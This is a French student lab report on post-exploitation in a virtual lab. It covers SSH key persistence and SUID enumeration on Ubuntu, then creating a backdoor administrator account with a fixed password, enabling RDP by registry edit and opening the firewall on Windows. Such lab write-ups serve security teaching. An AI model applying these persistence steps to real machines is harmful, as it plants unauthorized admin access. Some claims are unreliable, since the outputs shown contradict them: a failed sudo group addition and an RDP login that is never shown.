

RAPPORT DE TRAVAUX PRATIQUES : TP 3-3 post-exploitation : maintien d'accès et élévation de privilèges

Environnement : Laboratoire Virtuel (Kali Linux, Ubuntu, Windows 10)

1. INTRODUCTION

La phase de post-exploitation est l'une des étapes les plus critiques d'un test d'intrusion. Une fois l'accès initial obtenu, l'attaquant doit non seulement comprendre l'environnement dans lequel il évolue, mais aussi garantir la pérennité de son accès. Ce rapport documente les méthodologies employées pour identifier des vecteurs d'élévation de privilèges sur un système de type Unix et la mise en œuvre d'une persistance furtive et efficace sur un système Windows. À travers ce TP, nous illustrons la capacité à diagnostiquer des erreurs de configuration et à transformer des services légitimes en outils de maintien d'accès.

2. OBJECTIFS DU TRAVAIL PRATIQUE

L'exécution de ce TP vise à remplir les objectifs pédagogiques et techniques suivants :

- **Audit de configuration Linux :** Identifier les droits restreints (sudoers) et les vecteurs SUID pour l'escalade de privilèges.
- **Manipulation de l'environnement Windows :** Maîtriser les commandes net user, net localgroup et la modification du registre pour la persistance.
- **Validation de la Persistance :** Utiliser des protocoles d'administration à distance (RDP via xfreerdp) pour valider l'accès depuis la machine attaquante.
- **Gestion des erreurs (Troubleshooting) :** Apprendre à interpréter les codes d'erreurs réseau et de syntaxe entre différents interpréteurs de commandes (Bash vs CMD).

3. PARTIE 1 : MAINTIEN D'ACCES SUR LINUX

La première phase s'est déroulée sur la machine cible Ubuntu (192.168.56.10) avec l'utilisateur backpadmin.

- Tout d'abord nous nous connectons à ubuntu pour vérifier notre identité avec la commande **whoami**
- Nous avons ajouté un utilisateur avec la commande **sudo adduser backpadmin**

```
bel-ange@bel-ange:~$ whoami
bel-ange
bel-ange@bel-ange:~$ sudo adduser backpadmin
[sudo] Mot de passe de bel-ange :
Désolé, essayez de nouveau.
[sudo] Mot de passe de bel-ange :
info: Ajout de l'utilisateur « backpadmin » ...
info: Choix d'un UID/GID dans la plage 1000 à 59999 ...
info: Ajout du nouveau groupe « backpadmin » (1000) ...
info: Ajout du nouvel utilisateur « backpadmin » (1000) avec le groupe « backpadmin » (1000) ...
info: Création du répertoire personnel « /home/backpadmin » ...
info: Copie des fichiers depuis « /etc/skel » ...
Nouveau mot de passe :
```

- Nous avons par la suite ajouté cet utilisateur au groupe sudo avec la commande **sudo usermod -ag sudo backpadmin**

```
bel-ange@bel-ange:~$ sudo usermod -ag sudo backpadmin
usermod : le drapeau -a n'est autorisé qu'avec le drapeau -G
Utilisation : usermod[options] LOGIN

Options :
  -a, --append                ajouter l'utilisateur au GROUPS supplémentaire
                              mentionné par l'option -G sans supprimer
                              l'utilisateur des autres groupes
  -b, --badname               autoriser les mauvais noms
  -c, --comment COMMENT      nouvelle valeur du champ GECOS
  -d, --home HOME_DIR        nouveau répertoire personnel du compte utilisateur
  -e, --expiredate EXPIRE_DATE définir la date d'expiration du compte avec EXPIRE_DATE
  -f, --inactive INACTIVE    définir le mot de passe inactif après expiration à INACTIVE
  -g, --gid GROUP             forcer l'utilisation de GROUP comme groupe primaire
  -G, --groups GROUPS        nouvelle liste de groupes GROUPS supplémentaires
  -h, --help                  afficher ce message d'aide et quitter
  -l, --login NEW_LOGIN      nouvelle valeur pour le nom de connexion
  -L, --lock                  verrouiller le compte utilisateur
  -m, --move-home             déplacer le contenu du répertoire personnel dans
```

- La commande **groups backpadmin** nous a permis de vérifier que l'utilisateur appartient au groupe

```
bel-ange@bel-ange:~$ groups backpadmin
backpadmin : backpadmin users
```

3.1. Audit des droits Sudo

La première action a été de tester si l'utilisateur bénéficiait de privilèges d'administration directs.

- **Commande exécutée :** `sudo -l`

```
backpadmin@bel-ange:~$ sudo -l
[sudo] Mot de passe de backpadmin :
Désolé, l'utilisateur backpadmin ne peut pas utiliser sudo sur bel-ange.
backpadmin@bel-ange:~$
```

- **Résultat obtenu :** *"Désolé, l'utilisateur backpadmin ne peut pas utiliser sudo sur bel-ange".*
- **Analyse :** Cette réponse confirme que l'utilisateur est "non-privilégié". L'escalade de privilèges ne peut donc pas se faire par cette voie classique.

➤ Nous allons générer une clé sur kali avec la commande suivante

```
(BEL-ANGE@kali)-[~]
$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/BEL-ANGE/.ssh/id_ed25519):
Enter passphrase for "/home/BEL-ANGE/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/BEL-ANGE/.ssh/id_ed25519
Your public key has been saved in /home/BEL-ANGE/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:lYgs8DYG56Rg2k0d4pAqQA+/eecQ+Isb7TFsldug7kg BEL-ANGE@kali
The key's randomart image is:
--[ED25519 256]--+
o++.= ... |
+o=8.o.. . . |
o.o+X.o . o |
o o+o. .. |
. o + =S |
= B + |
E O o . |
. B o |
o.+ |
--[SHA256]-----+
(BEL-ANGE@kali)-[~]
```

➤ ensuite copié la clé publique vers ubuntu

```
(BEL-ANGE@kali)-[~]
$ ssh-copy-id backpadmin@192.168.56.10
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/BEL-ANGE/.ssh/id_ed25519.pub"
The authenticity of host '192.168.56.10 (192.168.56.10)' can't be established.
ED25519 key fingerprint is: SHA256:XqHm4ma0Khfoz3djd4UbC2GwWeEpoLkakUf46Td9gA4
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
backpadmin@192.168.56.10's password:

Number of key(s) added: 1

Now try logging into the machine, with: "ssh 'backpadmin@192.168.56.10'"
and check to make sure that only the key(s) you wanted were added.
```

- Nous Testons la connexion

```
(BEL-ANGE@kali)-[~]
$ ssh backpadmin@192.168.56.10
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-15-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

391 mises à jour peuvent être appliquées immédiatement.
221 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings

backpadmin@bel-ange:~$
```

3.2. Énumération des vecteurs SUID (Set User ID)

Nous avons ensuite cherché des fichiers s'exécutant avec les droits du propriétaire (Root).

- **Commande exécutée :** `find / -perm -4000 -type f 2>/dev/null`

```
Desole, l'utilisateur backpadmin ne peut pas utiliser sudo sur bel-ange.
backpadmin@bel-ange:~$ find / -perm -4000 -type f 2>/dev/null
/snap/snapd/23771/usr/lib/snapd/snap-confine
/snap/core22/1908/usr/bin/chfn
/snap/core22/1908/usr/bin/chsh
/snap/core22/1908/usr/bin/gpasswd
/snap/core22/1908/usr/bin/mount
/snap/core22/1908/usr/bin/newgrp
/snap/core22/1908/usr/bin/passwd
/snap/core22/1908/usr/bin/su
/snap/core22/1908/usr/bin/sudo
/snap/core22/1908/usr/bin/umount
/snap/core22/1908/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1908/usr/lib/openssh/ssh-keysign
/snap/core22/1908/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/mount
/usr/sbin/pppd
backpadmin@bel-ange:~$
```

- **Analyse des binaires isolés :** La liste a révélé des fichiers critiques tels que :

- /usr/bin/passwd (Changement de mot de passe)
- /usr/bin/chsh (Changement de shell)
- /usr/bin/gpasswd
- /usr/lib/dbus-1.0/dbus-daemon-launch-helper
- **Interprétation :** Chacun de ces fichiers représente une surface d'attaque potentielle pour une élévation de privilèges si une vulnérabilité est connue pour ces versions spécifiques.

4. PARTIE 2 : MAINTIEN D'ACCÈS ET PERSISTANCE (WINDOWS)

Le travail s'est poursuivi sur la cible Windows (192.168.56.20). Cette partie est cruciale pour assurer le retour de l'opérateur sur la machine.

4.1. Création et Élévation du Compte Persistant

Pour garantir un accès administrateur, nous avons créé un compte de secours.

- **Commandes de création :**
 1. net user supportadmin Password123! /add
 2. net localgroup administrateurs supportadmin /add
- **Vérification finale :** net user supportadmin
- **Statut :** Le compte est désormais actif et membre du groupe restreint des **Administrateurs**.

```
C:\Windows\system32>net user bel-ange
Nom d'utilisateur          bel-ange
Nom complet
Commentaire
Commentaires utilisateur
paCode du pays ou de la région 000 (Valeur par défaut du système)
Compte : actif             Oui
Le compte expire           Jamais
Mot de passe : dernier changmt. 27/04/2026 13:21:40
Le mot de passe expire      08/06/2026 13:21:40
Le mot de passe modifiable 27/04/2026 13:21:40
Mot de passe exigé         Oui
L'utilisateur peut changer de mot de passe Oui
Stations autorisées        Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès              27/04/2026 13:15:14
Heures d'accès autorisé     Tout
Appartient aux groupes locaux *Administrateurs
                          *Utilisateurs
Appartient aux groupes globaux *Aucun
La commande s'est terminée correctement.
```

```

C:\Windows\system32>reg add
ERREUR : syntaxe incorrecte.
Entrez "REG ADD /?" pour afficher la syntaxe.

C:\Windows\system32>net user localgroup administrateurs supportadmin /add
La syntaxe de cette commande est :

NET USER
[nom_utilisateur [mot_passe | *] [options]] [/DOMAIN]
    nom_utilisateur {mot_passe | *} /ADD [options] [/DOMAIN]
    nom_utilisateur [/DELETE] [/DOMAIN]
    nom_utilisateur [/TIMES:{heures | ALL}]
    nom_utilisateur [/ACTIVE: {YES | NO}]

C:\Windows\system32>net localgroup administrateurs supportadmin /add
L'utilisateur ou groupe global suivant n'existe pas : supportadmin.

Vous obtiendrez une aide supplémentaire en entrant NET HELPMSG 3783.

C:\Windows\system32>net user supportadmin password123! /add
La commande s'est terminée correctement.

C:\Windows\system32>net localgroup administrateurs supportadmin /add
La commande s'est terminée correctement.

```

4.2. Configuration du Service de Prise en Main (RDP)

Afin d'obtenir une interface graphique, nous avons forcé l'activation du Bureau à distance.

- **Modification du Registre : reg add**

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

```

C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
/t REG_DWORD /d 0 /f
L'opération a réussi.

C:\Windows\system32>net user supportadmin supportadmin
Nom d'utilisateur supportadmin
Nom complet supportadmin
Commentaire supportadmin
Commentaires utilisateur supportadmin
Code du pays ou de la région 000 (Valeur par défaut du système)
Compte : actif Oui
Le compte expire Jamais

Mot de passe : dernier changmt. 27/04/2026 22:25:03
Le mot de passe expire 08/06/2026 22:25:03
Le mot de passe modifiable 27/04/2026 22:25:03
Mot de passe exigé Oui
L'utilisateur peut changer de mot de passe Oui

Stations autorisées Tout
Script d'ouverture de session supportadmin
Profil d'utilisateur supportadmin
Répertoire de base supportadmin
Dernier accès Jamais

Heures d'accès autorisé Tout

Appartient aux groupes locaux *Administrateurs

```

- **Ouverture du Pare-feu :** netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes

5. PARTIE 3 : VALIDATION DE L'ACCÈS DEPUIS KALI

La dernière étape consiste à utiliser les informations récoltées pour se reconnecter depuis la machine attaquante.

5.1. Gestion des Sessions sur Kali

- **Fermeture Ubuntu :** Commande exit (Terminaison de la session backpadmin).
- **Diagnostic local Kali :** Utilisation d'IP a pour identifier l'interface locale (tentatives de ipconfig sur Kali également documentées).

6. Partie 4 : nettoyage de discrétion

Identification de la partie active avec la commande session

```
msf > sessions  
  
Active sessions
```

6. CONCLUSION

Ce TP a permis de démontrer l'efficacité des méthodes de maintien d'accès. En combinant l'énumération minutieuse sur Linux et la manipulation stratégique des privilèges sur Windows, nous avons réussi à établir une persistance robuste. La gestion des erreurs de syntaxe rencontrées tout au long du processus souligne l'importance d'une connaissance approfondie des environnements hétérogènes en cyber sécurité. Le maintien d'accès est

désormais validé par une connexion graphique fonctionnelle. Ceci étant très utile dans une entreprise.